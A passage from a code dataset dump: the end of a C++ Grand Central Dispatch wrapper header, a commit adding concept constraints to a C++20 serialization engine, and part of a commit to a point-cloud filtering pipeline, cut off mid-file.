(dispatch_queue_t queue, void *context,\n dispatch_function_t work) const\n {dispatch_group_async_f(this->get(), queue, context, work);}\n\n template <DispatchQueueType Type>\n void notify_f (const DispatchQueue<Type> &queue, void *context,\n dispatch_function_t work) const\n {dispatch_group_notify_f(this->get(), queue.get(), context, work);}\n\n void notify_f (dispatch_queue_t queue, void *context,\n dispatch_function_t work) const\n {dispatch_group_notify_f(this->get(), queue, context, work);}\n\n#ifdef __BLOCKS__\n template <DispatchQueueType Type>\n void async (const DispatchQueue<Type> &queue,\n dispatch_block_t block) const\n {dispatch_group_async(this->get(), queue.get(), block);}\n\n void async (dispatch_queue_t queue,\n dispatch_block_t block) const\n {dispatch_group_async(this->get(), queue, block);}\n\n template <DispatchQueueType Type>\n void notify (const DispatchQueue<Type> &queue,\n dispatch_block_t block) const\n {dispatch_group_notify(this->get(), queue.get(), block);}\n\n void notify (dispatch_queue_t queue,\n dispatch_block_t block) const\n {dispatch_group_notify(this->get(), queue, block);}\n#endif \/\/ __BLOCKS__\n}; \/\/ class DispatchGroup\n\n\/\/\/ \\brief Base class of DispatchSource\n\/\/\/ \\ingroup Dispatch\ntemplate <dispatch_source_type_t Type>\nclass DispatchSourceBase : public DispatchObject<dispatch_source_t>\n{\n public :\n\n void resume () {dispatch_resume(this->get());}\n\n void suspend () {dispatch_suspend(this->get());}\n\n void cancel () {dispatch_source_cancel(this->get());}\n\n long test_cancel () const\n {return dispatch_source_test_cancel(this->get());}\n\n unsigned long get_data () const {dispatch_source_get_data(this->get());}\n\n uintptr_t get_handle () const {dispatch_source_get_handle(this->get());}\n\n unsigned long get_mask () const {dispatch_source_get_mask(this->get());}\n\n void set_cancel_handler_f (dispatch_function_t cancel_handler)\n {dispatch_source_set_cancel_handler_f(this->get(), cancel_handler);}\n\n void set_event_handler_f (dispatch_function_t event_handler)\n {dispatch_source_set_event_handler_f(this->get(), event_handler);}\n\n#ifdef MAC_OS_X_VERSION_10_7\n void set_registration_handler_f (dispatch_function_t registration_handler)\n {\n dispatch_source_set_registration_handler_f(\n this->get(), registration_handler);\n }\n#endif \/\/ MAC_OS_X_VERSION_10_7\n\n#ifdef __BLOCKS__\n void set_cancel_handler (dispatch_block_t cancel_handler)\n {dispatch_source_set_cancel_handler(this->get(), cancel_handler);}\n\n void set_event_handler (dispatch_block_t event_handler)\n {dispatch_source_set_event_handler(this->get(), event_handler);}\n\n#ifdef MAC_OS_X_VERSION_10_7\n void set_registration_handler (dispatch_block_t registration_handler)\n {\n dispatch_source_set_registration_handler(\n this->get(), registration_handler);\n }\n#endif \/\/ MAC_OS_X_VERSION_10_7\n#endif \/\/ __BLOCKS__\n\n DispatchSourceBase (uintptr_t handle, unsigned long mask,\n dispatch_queue_t queue) : DispatchObject<dispatch_source_t>(\n dispatch_source_create(Type, handle, mask, queue)) {}\n\n DispatchSourceBase (const DispatchSourceBase &other) :\n DispatchObject<dispatch_source_t>(other) {}\n\n DispatchSourceBase &operator= (const DispatchSourceBase &other)\n {DispatchObject<dispatch_source_t>::operator=(other); return *this;}\n\n ~DispatchSourceBase () {dispatch_release(this->get());}\n}; \/\/ class DispatchSourceBase\n\n\/\/\/ \\brief A dispatch source\ntemplate <dispatch_source_type_t Type>\nclass DispatchSource : public DispatchSourceBase<Type>\n{\n public :\n\n template <DispatchQueueType QType>\n DispatchSource (uintptr_t handle, unsigned long mask,\n const DispatchQueue<QType> &queue) : DispatchSourceBase<Type>(\n handle, mask, queue.get()) {}\n\n DispatchSource (uintptr_t handle, unsigned long mask,\n dispatch_queue_t queue) : DispatchSourceBase<Type>(\n handle, mask, queue) {}\n}; \/\/ class DispatchSource\n\ntemplate <>\nclass DispatchSource<DISPATCH_SOURCE_TYPE_DATA_ADD> :\n public DispatchSourceBase<DISPATCH_SOURCE_TYPE_DATA_ADD>\n{\n public :\n\n template <DispatchQueueType QType>\n DispatchSource (uintptr_t handle, unsigned long mask,\n const DispatchQueue<QType> &queue) :\n DispatchSourceBase<DISPATCH_SOURCE_TYPE_DATA_ADD>(\n handle, mask, queue.get()) {}\n\n DispatchSource (uintptr_t handle, unsigned long mask,\n dispatch_queue_t queue) :\n DispatchSourceBase<DISPATCH_SOURCE_TYPE_DATA_ADD>(\n handle, mask, queue) {}\n\n void merge_data (unsigned long value) const\n {dispatch_source_merge_data(this->get(), value);}\n}; \/\/ class DispatchSource\n\ntemplate <>\nclass DispatchSource<DISPATCH_SOURCE_TYPE_DATA_OR> :\n public DispatchSourceBase<DISPATCH_SOURCE_TYPE_DATA_OR>\n{\n public :\n\n template <DispatchQueueType QType>\n DispatchSource (uintptr_t handle, unsigned long mask,\n const DispatchQueue<QType> &queue) :\n DispatchSourceBase<DISPATCH_SOURCE_TYPE_DATA_OR>(\n handle, mask, queue.get()) {}\n\n DispatchSource (uintptr_t handle, unsigned long mask,\n dispatch_queue_t queue) :\n DispatchSourceBase<DISPATCH_SOURCE_TYPE_DATA_OR>(\n handle, mask, queue) {}\n\n void merge_data (unsigned long value) const\n {dispatch_source_merge_data(this->get(), value);}\n}; \/\/ class DispatchSource\n\ntemplate <>\nclass DispatchSource<DISPATCH_SOURCE_TYPE_TIMER> :\n public DispatchSourceBase<DISPATCH_SOURCE_TYPE_TIMER>\n{\n public :\n\n template <DispatchQueueType QType>\n DispatchSource (uintptr_t handle, unsigned long mask,\n const DispatchQueue<QType> &queue) :\n DispatchSourceBase<DISPATCH_SOURCE_TYPE_TIMER>(\n handle, mask, queue.get()) {}\n\n DispatchSource (uintptr_t handle, unsigned long mask,\n dispatch_queue_t queue) :\n DispatchSourceBase<DISPATCH_SOURCE_TYPE_TIMER>(\n handle, mask, queue) {}\n\n template <DispatchQueueType QType>\n DispatchSource (uintptr_t handle, unsigned long mask,\n const DispatchQueue<QType> &queue,\n dispatch_time_t start, uint64_t interval, uint64_t leeway) :\n DispatchSourceBase<DISPATCH_SOURCE_TYPE_TIMER>(\n handle, mask, queue.get())\n {set_timer(start, interval, leeway);}\n\n DispatchSource (uintptr_t handle, unsigned long mask,\n dispatch_queue_t queue,\n dispatch_time_t start, uint64_t interval, uint64_t leeway) :\n DispatchSourceBase<DISPATCH_SOURCE_TYPE_TIMER>(\n handle, mask, queue)\n {set_timer(start, interval, leeway);}\n\n void set_timer (dispatch_time_t start, uint64_t interval, uint64_t leeway)\n {dispatch_source_set_timer(this->get(), start, interval, leeway);}\n}; \/\/ class DispatchSource\n\n} \/\/ namespace vsmc\n\n#endif \/\/ VSMC_UTILITY_DISPATCH_HPP\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include <gcl\/io\/policy.hpp>\n#include <gcl\/functional.hpp>\n#include <gcl\/cx\/typeinfo.hpp>\n\/\/ #include <gcl\/mp\/function_traits.hpp>\n\n#include <unordered_map>\n#include <functional>\n\n\/\/ todo : serializable concept\n\/\/ todo : add aggregate speciali rule\n\nnamespace gcl::io::serialization\n{\n template <class io_policy = gcl::io::policy::binary>\n struct engine {\n template <typename on_deserialization_t>\n class in {\n using type_id_t = uint32_t;\n using storage_type = std::unordered_map<type_id_t, std::function<void()>>;\n std::istream& input_stream;\n on_deserialization_t on_deserialize;\n storage_type storage;\n\n template <typename T>\n auto generate_type_handler()\n {\n return std::pair{\n gcl::cx::typeinfo::hashcode<T>(), std::function<void()>{[this]() {\n T value;\n io_policy::read(input_stream, value);\n if (not input_stream.good())\n throw std::runtime_error{\n \"serialization::engine::deserialize (value) \/ storage::mapped::operator() \"};\n on_deserialize(std::move(value));\n }}};\n }\n\n public:\n in(std::istream& input, on_deserialization_t&& cb)\n : input_stream{input}\n , on_deserialize{std::forward<decltype(cb)>(cb)}\n {}\n\n template <typename... Ts>\n \/\/ requires ((std::default_initializable<Ts> and ...))\n in(std::istream& input, on_deserialization_t&& cb, std::tuple<Ts...>)\n : input_stream{input}\n , on_deserialize{std::forward<decltype(cb)>(cb)}\n , storage{generate_type_handler<Ts>()...}\n {}\n\n template <typename... Ts>\n void register_types()\n {\n (storage.insert(generate_type_handler<Ts>()), ...);\n }\n template <typename... Ts>\n void unregister_types()\n {\n (storage.erase(gcl::cx::typeinfo::hashcode<Ts>()), ...);\n }\n\n void deserialize()\n {\n type_id_t type_id_value;\n io_policy::read(input_stream, type_id_value);\n\n if (input_stream.eof())\n return;\n if (not input_stream.good())\n throw std::runtime_error{\"serialization::engine::deserialize (typeid)\"};\n\n try\n {\n auto& handler = storage.at(type_id_value);\n handler();\n }\n catch (const std::out_of_range&)\n {\n throw std::runtime_error{\n \"serialization::engine::deserialize : unknown type extracted : cx-hash=\" +\n std::to_string(type_id_value)};\n }\n }\n template <std::size_t count = 1>\n void deserialize_n()\n {\n for (std::size_t i{0}; i < count and not input_stream.eof(); ++i)\n {\n deserialize();\n }\n }\n void deserialize_all()\n {\n while (not input_stream.eof())\n {\n deserialize();\n }\n }\n };\n#if __clang__\n template <class on_deserialization_t, typename... Ts>\n in(std::istream&, on_deserialization_t&&, std::tuple<Ts...>) -> in<on_deserialization_t>;\n#endif\n\n class out {\n std::ostream& output_stream;\n\n public:\n out(std::ostream& output)\n : output_stream{output}\n {}\n\n template <typename T>\n void serialize(T&& value) const\n {\n io_policy::write(output_stream, gcl::cx::typeinfo::hashcode<T>());\n io_policy::write(output_stream, std::forward<T>(value));\n }\n template <typename T>\n const out& operator<<(T&& value) const\n {\n serialize(std::forward<decltype(value)>(value));\n return *this;\n }\n };\n\n template <typename on_deserialization_t>\n using deserializer = in<on_deserialization_t>;\n using serializer = out;\n };\n}\n\n#include <sstream>\n\nnamespace gcl::io::tests::serialization\n{\n static void test()\n {\n struct event_1 {};\n struct event_2 {};\n struct event_3 {};\n\n try\n {\n std::stringstream ss;\n\n using io_engine = typename gcl::io::serialization::engine<gcl::io::policy::binary>;\n {\n auto serializer = io_engine::out{ss};\n serializer << event_1{} << event_2{} << event_3{};\n }\n {\n using types = std::tuple<event_1, event_2, event_3>;\n\n int call_counter{0};\n auto deserializer = io_engine::in{\n ss,\n gcl::functional::overload{\n [&call_counter](event_3&&) mutable {\n if (++call_counter != 3)\n throw std::runtime_error{\"gcl::io::tests::serialization::test : event_3\"};\n },\n [&call_counter]<typename T>(T&& arg) mutable {\n static_assert(not std::is_same_v<decltype(arg), event_3>);\n\n if constexpr (std::is_same_v<T, event_1>)\n if (++call_counter not_eq 1)\n throw std::runtime_error{\"gcl::io::tests::serialization::test : event_1\"};\n if constexpr (std::is_same_v<T, event_2>)\n if (++call_counter not_eq 2)\n throw std::runtime_error{\"gcl::io::tests::serialization::test : event_2\"};\n }},\n types{}};\n deserializer.deserialize_all();\n }\n }\n catch (const std::exception& error)\n {\n std::cerr << \"error : \" << error.what() << '\\n';\n }\n }\n}<commit_msg>[io::serialization] engine : add template restriction : T -> serializable<commit_after>#pragma once\n\n\/\/ original POC : https:\/\/godbolt.org\/z\/P4a6voYqP\n\n#include <gcl\/io\/policy.hpp>\n#include <gcl\/io\/concepts.hpp>\n#include <gcl\/functional.hpp>\n#include <gcl\/cx\/typeinfo.hpp>\n\/\/ #include <gcl\/mp\/function_traits.hpp>\n\n#include <unordered_map>\n#include <functional>\n\n\/\/ todo : serializable concept\n\/\/ todo : add aggregate speciale rule\n\nnamespace gcl::io::serialization\n{\n template <class io_policy = gcl::io::policy::binary>\n struct engine {\n template <typename on_deserialization_t>\n class in {\n using type_id_t = uint32_t;\n using storage_type = std::unordered_map<type_id_t, std::function<void()>>;\n std::istream& input_stream;\n on_deserialization_t on_deserialize;\n storage_type storage;\n\n template <gcl::io::concepts::serializable T>\n auto generate_type_handler()\n {\n return std::pair{\n gcl::cx::typeinfo::hashcode<T>(), std::function<void()>{[this]() {\n T value;\n io_policy::read(input_stream, value);\n if (not input_stream.good())\n throw std::runtime_error{\n \"serialization::engine::deserialize (value) \/ storage::mapped::operator() \"};\n on_deserialize(std::move(value));\n }}};\n }\n\n public:\n in(std::istream& input, on_deserialization_t&& cb)\n : input_stream{input}\n , on_deserialize{std::forward<decltype(cb)>(cb)}\n {}\n\n template <gcl::io::concepts::serializable ... Ts>\n in(std::istream& input, on_deserialization_t&& cb, std::tuple<Ts...>)\n : input_stream{input}\n , on_deserialize{std::forward<decltype(cb)>(cb)}\n , storage{generate_type_handler<Ts>()...}\n {}\n\n template <gcl::io::concepts::serializable ... Ts>\n void register_types()\n {\n (storage.insert(generate_type_handler<Ts>()), ...);\n }\n template <typename... Ts>\n void unregister_types()\n {\n (storage.erase(gcl::cx::typeinfo::hashcode<Ts>()), ...);\n }\n\n void deserialize()\n {\n type_id_t type_id_value;\n io_policy::read(input_stream, type_id_value);\n\n if (input_stream.eof())\n return;\n if (not input_stream.good())\n throw std::runtime_error{\"serialization::engine::deserialize (typeid)\"};\n\n try\n {\n auto& handler = storage.at(type_id_value);\n handler();\n }\n catch (const std::out_of_range&)\n {\n throw std::runtime_error{\n \"serialization::engine::deserialize : unknown type extracted : cx-hash=\" +\n std::to_string(type_id_value)};\n }\n }\n template <std::size_t count = 1>\n void deserialize_n()\n {\n for (std::size_t i{0}; i < count and not input_stream.eof(); ++i)\n {\n deserialize();\n }\n }\n void deserialize_n(std::size_t count)\n {\n for (std::size_t i{0}; i < count and not input_stream.eof(); ++i)\n {\n deserialize();\n }\n }\n void deserialize_all()\n {\n while (not input_stream.eof())\n {\n deserialize();\n }\n }\n };\n#if __clang__\n template <class on_deserialization_t, typename... Ts>\n in(std::istream&, on_deserialization_t&&, std::tuple<Ts...>) -> in<on_deserialization_t>;\n#endif\n\n class out {\n std::ostream& output_stream;\n\n public:\n out(std::ostream& output)\n : output_stream{output}\n {}\n\n template <typename T>\n void serialize(T&& value) const\n {\n io_policy::write(output_stream, gcl::cx::typeinfo::hashcode<T>());\n io_policy::write(output_stream, std::forward<T>(value));\n }\n template <typename T>\n const out& operator<<(T&& value) const\n {\n serialize(std::forward<decltype(value)>(value));\n return *this;\n }\n };\n\n template <typename on_deserialization_t>\n using deserializer = in<on_deserialization_t>;\n using serializer = out;\n };\n}\n\n#include <sstream>\n\nnamespace gcl::io::tests::serialization\n{\n static void test()\n {\n struct event_1 {};\n struct event_2 {};\n struct event_3 {};\n\n try\n {\n std::stringstream ss;\n\n using io_engine = typename gcl::io::serialization::engine<gcl::io::policy::binary>;\n {\n auto serializer = io_engine::out{ss};\n serializer << event_1{} << event_2{} << event_3{};\n }\n {\n using types = std::tuple<event_1, event_2, event_3>;\n\n int call_counter{0};\n auto deserializer = io_engine::in{\n ss,\n gcl::functional::overload{\n [&call_counter](event_3&&) mutable {\n if (++call_counter != 3)\n throw std::runtime_error{\"gcl::io::tests::serialization::test : event_3\"};\n },\n [&call_counter]<typename T>(T&& arg) mutable {\n static_assert(not std::is_same_v<decltype(arg), event_3>);\n\n if constexpr (std::is_same_v<T, event_1>)\n if (++call_counter not_eq 1)\n throw std::runtime_error{\"gcl::io::tests::serialization::test : event_1\"};\n if constexpr (std::is_same_v<T, event_2>)\n if (++call_counter not_eq 2)\n throw std::runtime_error{\"gcl::io::tests::serialization::test : event_2\"};\n }},\n types{}};\n deserializer.deserialize_all();\n }\n }\n catch (const std::exception& error)\n {\n std::cerr << \"error : \" << error.what() << '\\n';\n }\n }\n}<|endoftext|>"} {"text":"<commit_before>#ifndef IMAGE_CLOUD_COMMON_PIPELINE_POINTCLOUD_H_\n#define IMAGE_CLOUD_COMMON_PIPELINE_POINTCLOUD_H_\n\n#include <image_cloud\/common\/filter\/pcl\/common.hpp>\n#include <image_cloud\/common\/filter\/pcl\/filter_depth_intensity.hpp>\n#include <image_cloud\/common\/filter\/pcl\/segmentation.hpp>\n#include <image_cloud\/common\/filter\/pcl\/depth_filter.hpp>\n#include <image_cloud\/common\/filter\/pcl\/depth_edge.hpp>\n#include <image_cloud\/common\/filter\/pcl\/normal_diff_filter.hpp>\n#include <image_cloud\/common\/filter\/pcl\/range_borders.hpp>\n#include <image_cloud\/common\/filter\/pcl\/remove_cluster_2d.hpp>\n#include <image_cloud\/common\/filter\/pcl\/depth_filter_radius.hpp>\n#include <image_cloud\/common\/filter\/pcl\/depth_filter_neighbors.hpp>\n#include <image_cloud\/common\/filter\/pcl\/filter_depth_projection.hpp>\n#include <image_cloud\/common\/filter\/pcl\/hit_same_point.hpp>\n#include <image_cloud\/common\/filter\/pcl\/edge_image_plane.hpp>\n#include <image_cloud\/common\/project2d.hpp>\n#include <image_cloud\/common\/calibration\/pipeline\/enums.h>\n#include <assert.h>\n#include <opencv2\/opencv.hpp>\n\nnamespace image_cloud{\n\ntemplate <typename PointT>\ninline void\nfilter3d_switch(const pcl::PointCloud<PointT> &in_points,\n\t\tpcl::PointCloud<PointT> &out_points,\n\t\tconst image_geometry::PinholeCameraModel &camera_model,\n\t\tpcl_filter::Filter3d filter,\n\t\tint rows=0,\n\t\tint cols=0){\n\n\tswitch (filter)\n\t{\n\t\tcase pcl_filter::OFF:\n\t\t\t\tout_points = in_points;\n\t\t\tbreak;\n\t\tcase pcl_filter::DEPTH:\n\t\t{\n\t\t\tfilter_3d::filter_depth_discontinuity(in_points, out_points); \/\/ epsilon\n\t\t}\n\t\tbreak;\n\n\t\tcase pcl_filter::DEPTH_INTENSITY:\n\t\t{\n\t\t\tstd::vector<std::vector<boost::shared_ptr<PointT> > > map(cols,\n\t\t\t\t\t\t\t\t\tstd::vector<boost::shared_ptr<PointT> > (rows));\n\t\t\tProjected_pointcloud<PointT> projected_pointclouds;\n\t\t\tproject2d::project_2d(camera_model, in_points, map, projected_pointclouds, cols, rows);\n\t\t\tfilter_3d::filter_depth_intensity<PointT>(map, out_points);\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::DEPTH_EDGE:\n\t\t{\n\t\t\tstd::vector<std::vector<boost::shared_ptr<PointT> > > map(cols,\n\t\t\t\t\t\t\t\t\t\t\t\tstd::vector<boost::shared_ptr<PointT> > (rows));\n\t\t\tProjected_pointcloud<PointT> projected_pointclouds;\n\t\t\tproject2d::project_2d(camera_model, in_points, map, projected_pointclouds, cols, rows);\n\t\t\tfilter_3d::depth_edge<PointT>(map, out_points); \/\/ neighbors\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::NORMAL_DIFF:\n\t\t{\n\t\t\tfilter_3d::normal_diff_filter<PointT>(in_points, out_points); \/\/ threshold\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::REMOVE_CLUSTER_2D:\n\t\t{\n\t\t\tfilter_3d::remove_cluster_2d<PointT>(camera_model, in_points, out_points, rows, cols); \/\/ threshold\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::RANGE_BORDERS:\n\t\t{\n\t\t\tfilter_3d::range_borders<PointT>(in_points, out_points); \/\/ threshold\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::DEPTH_RADIUS:\n\t\t{\n\t\t\tfilter_3d::depth_discontinuity_radius<PointT>(in_points, out_points); \/\/ min neighbors\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::DEPTH_NEIGHBORS:\n\t\t{\n\t\t\tfilter_3d::depth_filter_neighbors<PointT>(in_points, out_points); \/\/ max distance\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::DEPTH_EDGE_PROJECTION:\n\t\t{\n\t\t\tfilter_3d::filter_depth_projection<PointT>(camera_model, in_points, out_points, rows, cols); \/\/ neighbors); \/\/ max distance\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::HIT_SAME_POINT:\n\t\t{\n\t\t\tfilter_3d::hit_same_point<PointT>(camera_model, in_points, out_points, rows, cols);\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::OTHER:\n\t\t{\n\t\t\tfilter_3d::segmentation<PointT>(in_points, out_points);\n\t\t\t\t\/\/filtred = transformed;\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::DEPTH_INTENSITY_NORMAL_DIFF:\n\t\t{\n\t\t\tstd::vector<std::vector<boost::shared_ptr<PointT> > > map(cols,\n\t\t\t\t\t\t\t\t\tstd::vector<boost::shared_ptr<PointT> > (rows));\n\t\t\tProjected_pointcloud<PointT> projected_pointclouds;\n\t\t\tproject2d::project_2d(camera_model, in_points, map, projected_pointclouds, cols, rows);\n\n\t\t\tpcl::PointCloud<PointT> temp_points;\n\t\t\tfilter_3d::filter_depth_intensity<PointT>(map, temp_points);\n\t\t\tfilter_3d::depth_discontinuity_radius<PointT>(temp_points, out_points, 0.5, 0.05, 70); \/\/ min neighbors\n\n\t\t\t\/\/filter_3d::normal_diff_filter<PointT>(temp_points, out_points);\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::DEPTH_INTENSITY_AND_REMOVE_CLUSER_2D:\n\t\t{\n\t\t\tstd::vector<std::vector<boost::shared_ptr<PointT> > > map(cols,\n\t\t\tstd::vector<boost::shared_ptr<PointT> > (rows));\n\t\t\tProjected_pointcloud<PointT> projected_pointclouds;\n\t\t\tproject2d::project_2d(camera_model, in_points, map, projected_pointclouds, cols, rows);\n\n\t\t\tpcl::PointCloud<PointT> temp_points;\n\t\t\tfilter_3d::filter_depth_intensity<PointT>(map, temp_points);\n\t\t\tfilter_3d::remove_cluster_2d<PointT>(camera_model, temp_points, out_points, rows, cols); \/\/ threshold\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::REMOVE_CLUSER_2D_RADIUS_SEARCH:\n\t\t{\n\t\t\tpcl::PointCloud<PointT> temp_points;\n\t\t\tfilter_3d::remove_cluster_2d<PointT>(camera_model, in_points, temp_points, rows, cols); \/\/ threshold\n\t\t\tfilter_3d::depth_discontinuity_radius<PointT>(temp_points, out_points); \/\/ min neighbors\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::EDGE_IMAGE_PLANE:\n\t\t{\n\t\t\tfilter_3d::edge_image_plane<PointT,uchar>(camera_model, in_points, out_points, rows, cols);\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::EDGE_IMAGE_PLANE_2D_RADIUS_SEARCH:\n\t\t{\n\t\t\tpcl::PointCloud<PointT> temp_points;\n\t\t\tfilter_3d::edge_image_plane<PointT,uchar>(camera_model, in_points, temp_points, rows, cols);\n\t\t\tfilter_3d::remove_cluster_2d<PointT>(camera_model,temp_points, out_points, rows, cols); \/\/ min neighbors\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::EDGE_IMAGE_PLANE_NORMAL_DIFF:\n\t\t{\n\t\t\tpcl::PointCloud<PointT> temp_points;\n\t\t\tfilter_3d::edge_image_plane<PointT,uchar>(camera_model, in_points, temp_points, rows, cols);\n\t\t\tfilter_3d::normal_diff_filter<PointT>(temp_points, out_points, 0.001,0.1);\n\t\t}\n\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t}\n}\n\n\n\n}\n\n#endif\n<commit_msg>added depth_edge_projection filter for aggregated pointclouds<commit_after>#ifndef IMAGE_CLOUD_COMMON_PIPELINE_POINTCLOUD_H_\n#define IMAGE_CLOUD_COMMON_PIPELINE_POINTCLOUD_H_\n\n#include <image_cloud\/common\/filter\/pcl\/common.hpp>\n#include <image_cloud\/common\/filter\/pcl\/filter_depth_intensity.hpp>\n#include <image_cloud\/common\/filter\/pcl\/segmentation.hpp>\n#include <image_cloud\/common\/filter\/pcl\/depth_filter.hpp>\n#include <image_cloud\/common\/filter\/pcl\/depth_edge.hpp>\n#include <image_cloud\/common\/filter\/pcl\/normal_diff_filter.hpp>\n#include <image_cloud\/common\/filter\/pcl\/range_borders.hpp>\n#include <image_cloud\/common\/filter\/pcl\/remove_cluster_2d.hpp>\n#include <image_cloud\/common\/filter\/pcl\/depth_filter_radius.hpp>\n#include <image_cloud\/common\/filter\/pcl\/depth_filter_neighbors.hpp>\n#include <image_cloud\/common\/filter\/pcl\/filter_depth_projection.hpp>\n#include <image_cloud\/common\/filter\/pcl\/hit_same_point.hpp>\n#include <image_cloud\/common\/filter\/pcl\/edge_image_plane.hpp>\n#include <image_cloud\/common\/project2d.hpp>\n#include <image_cloud\/common\/calibration\/pipeline\/enums.h>\n#include <assert.h>\n#include <opencv2\/opencv.hpp>\n\nnamespace image_cloud{\n\ntemplate <typename PointT>\ninline void\nfilter3d_switch(const pcl::PointCloud<PointT> &in_points,\n\t\tpcl::PointCloud<PointT> &out_points,\n\t\tconst image_geometry::PinholeCameraModel &camera_model,\n\t\tpcl_filter::Filter3d filter,\n\t\tint rows=0,\n\t\tint cols=0){\n\n\tswitch (filter)\n\t{\n\t\tcase pcl_filter::OFF:\n\t\t\t\tout_points = in_points;\n\t\t\tbreak;\n\t\tcase pcl_filter::DEPTH:\n\t\t{\n\t\t\tfilter_3d::filter_depth_discontinuity(in_points, out_points); \/\/ epsilon\n\t\t}\n\t\tbreak;\n\n\t\tcase pcl_filter::DEPTH_INTENSITY:\n\t\t{\n\t\t\tstd::vector<std::vector<boost::shared_ptr<PointT> > > map(cols,\n\t\t\t\t\t\t\t\t\tstd::vector<boost::shared_ptr<PointT> > (rows));\n\t\t\tProjected_pointcloud<PointT> projected_pointclouds;\n\t\t\tproject2d::project_2d(camera_model, in_points, map, projected_pointclouds, cols, rows);\n\t\t\tfilter_3d::filter_depth_intensity<PointT>(map, out_points);\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::DEPTH_EDGE:\n\t\t{\n\t\t\tstd::vector<std::vector<boost::shared_ptr<PointT> > > map(cols,\n\t\t\t\t\t\t\t\t\t\t\t\tstd::vector<boost::shared_ptr<PointT> > (rows));\n\t\t\tProjected_pointcloud<PointT> projected_pointclouds;\n\t\t\tproject2d::project_2d(camera_model, in_points, map, projected_pointclouds, cols, rows);\n\t\t\tfilter_3d::depth_edge<PointT>(map, out_points); \/\/ neighbors\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::NORMAL_DIFF:\n\t\t{\n\t\t\tfilter_3d::normal_diff_filter<PointT>(in_points, out_points); \/\/ threshold\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::REMOVE_CLUSTER_2D:\n\t\t{\n\t\t\tfilter_3d::remove_cluster_2d<PointT>(camera_model, in_points, out_points, rows, cols); \/\/ threshold\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::RANGE_BORDERS:\n\t\t{\n\t\t\tfilter_3d::range_borders<PointT>(in_points, out_points); \/\/ threshold\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::DEPTH_RADIUS:\n\t\t{\n\t\t\tfilter_3d::depth_discontinuity_radius<PointT>(in_points, out_points); \/\/ min neighbors\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::DEPTH_NEIGHBORS:\n\t\t{\n\t\t\tfilter_3d::depth_filter_neighbors<PointT>(in_points, out_points); \/\/ max distance\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::DEPTH_EDGE_PROJECTION:\n\t\t{\n\t\t\tfilter_3d::filter_depth_projection<PointT>(camera_model, in_points, out_points, rows, cols); \/\/ neighbors); \/\/ max distance\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::HIT_SAME_POINT:\n\t\t{\n\t\t\tfilter_3d::hit_same_point<PointT>(camera_model, in_points, out_points, rows, cols);\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::OTHER:\n\t\t{\n\t\t\tfilter_3d::segmentation<PointT>(in_points, out_points);\n\t\t\t\t\/\/filtred = transformed;\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::DEPTH_INTENSITY_NORMAL_DIFF:\n\t\t{\n\t\t\tstd::vector<std::vector<boost::shared_ptr<PointT> > > map(cols,\n\t\t\t\t\t\t\t\t\tstd::vector<boost::shared_ptr<PointT> > (rows));\n\t\t\tProjected_pointcloud<PointT> projected_pointclouds;\n\t\t\tproject2d::project_2d(camera_model, in_points, map, projected_pointclouds, cols, rows);\n\n\t\t\tpcl::PointCloud<PointT> temp_points;\n\t\t\tfilter_3d::filter_depth_intensity<PointT>(map, temp_points);\n\t\t\tfilter_3d::depth_discontinuity_radius<PointT>(temp_points, out_points, 0.5, 0.05, 70); \/\/ min neighbors\n\n\t\t\t\/\/filter_3d::normal_diff_filter<PointT>(temp_points, out_points);\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::DEPTH_INTENSITY_AND_REMOVE_CLUSER_2D:\n\t\t{\n\t\t\tstd::vector<std::vector<boost::shared_ptr<PointT> > > map(cols,\n\t\t\tstd::vector<boost::shared_ptr<PointT> > (rows));\n\t\t\tProjected_pointcloud<PointT> projected_pointclouds;\n\t\t\tproject2d::project_2d(camera_model, in_points, map, projected_pointclouds, cols, rows);\n\n\t\t\tpcl::PointCloud<PointT> temp_points;\n\t\t\tfilter_3d::filter_depth_intensity<PointT>(map, temp_points);\n\t\t\tfilter_3d::remove_cluster_2d<PointT>(camera_model, temp_points, out_points, rows, cols); \/\/ threshold\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::REMOVE_CLUSER_2D_RADIUS_SEARCH:\n\t\t{\n\t\t\tpcl::PointCloud<PointT> temp_points;\n\t\t\tfilter_3d::remove_cluster_2d<PointT>(camera_model, in_points, temp_points, rows, cols); \/\/ threshold\n\t\t\tfilter_3d::depth_discontinuity_radius<PointT>(temp_points, out_points); \/\/ min neighbors\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::EDGE_IMAGE_PLANE:\n\t\t{\n\t\t\tfilter_3d::edge_image_plane<PointT,uchar>(camera_model, in_points, out_points, rows, cols);\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::EDGE_IMAGE_PLANE_2D_RADIUS_SEARCH:\n\t\t{\n\t\t\tpcl::PointCloud<PointT> temp_points;\n\t\t\tfilter_3d::edge_image_plane<PointT,uchar>(camera_model, in_points, temp_points, rows, cols);\n\t\t\tfilter_3d::remove_cluster_2d<PointT>(camera_model,temp_points, out_points, rows, cols); \/\/ min 